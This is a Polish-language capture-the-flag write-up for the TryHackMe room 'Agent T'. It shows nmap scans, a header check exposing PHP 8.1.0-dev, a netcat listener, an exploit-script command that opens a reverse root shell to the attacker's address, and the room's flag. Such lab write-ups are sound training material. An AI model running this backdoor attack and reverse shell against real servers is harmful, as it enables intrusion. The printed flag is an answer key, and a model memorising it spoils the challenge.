Agent T

https://tryhackme.com/room/agentt

Cel

- Flaga

Przebieg ataku

- Skan w celu znalezienia otwartych portow
- Szczegolowy skan wybranego portu
- Sprawdzenie headera strony
- Znalezienie podatnosci
- Uruchomienie NetCata
- Uruchomienie skryptu w celu wykorzystania backdoor'a
- Zdobycie root'a
- Znalezienie flagi

Nmap Init

```
nmap -p- 10.10.82.116
```

Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http

Nmap Full

```
nmap -sC -sV -p 80 10.10.82.116
```

PORT STATE SERVICE VERSION
80/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)

Header HTTP

```
curl -I http://10.10.82.116
```

```
HTTP/1.1 200 OK
Host: 10.10.82.116
Date: Tue, 20 Sep 2022 21:29:57 GMT
Connection: close
X-Powered-By: PHP/8.1.0-dev
Content-type: text/html; charset=UTF-8
```

Podatnosc PHP/8.1.0-dev

- https://www.exploit-db.com/exploits/49933

Netcat

```
nc -lnvp 4444
```

Reverse Shell

- Uruchomienie skryptu z podatnoscia

```
python3 agentt.py "http://10.10.82.116/" 10.11.83.56 4444
```

```
listening on [any] 4444 ...
connect to [10.11.83.56] from (UNKNOWN) [10.10.82.116] 58896
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3f8655e43931:/var/www/html#
```

Flaga

```
root@3f8655e43931:/# cat flag.txt
cat flag.txt
flag{4127d0530abf16d6d23973e3df8dbecb}root@3f8655e43931:/#
```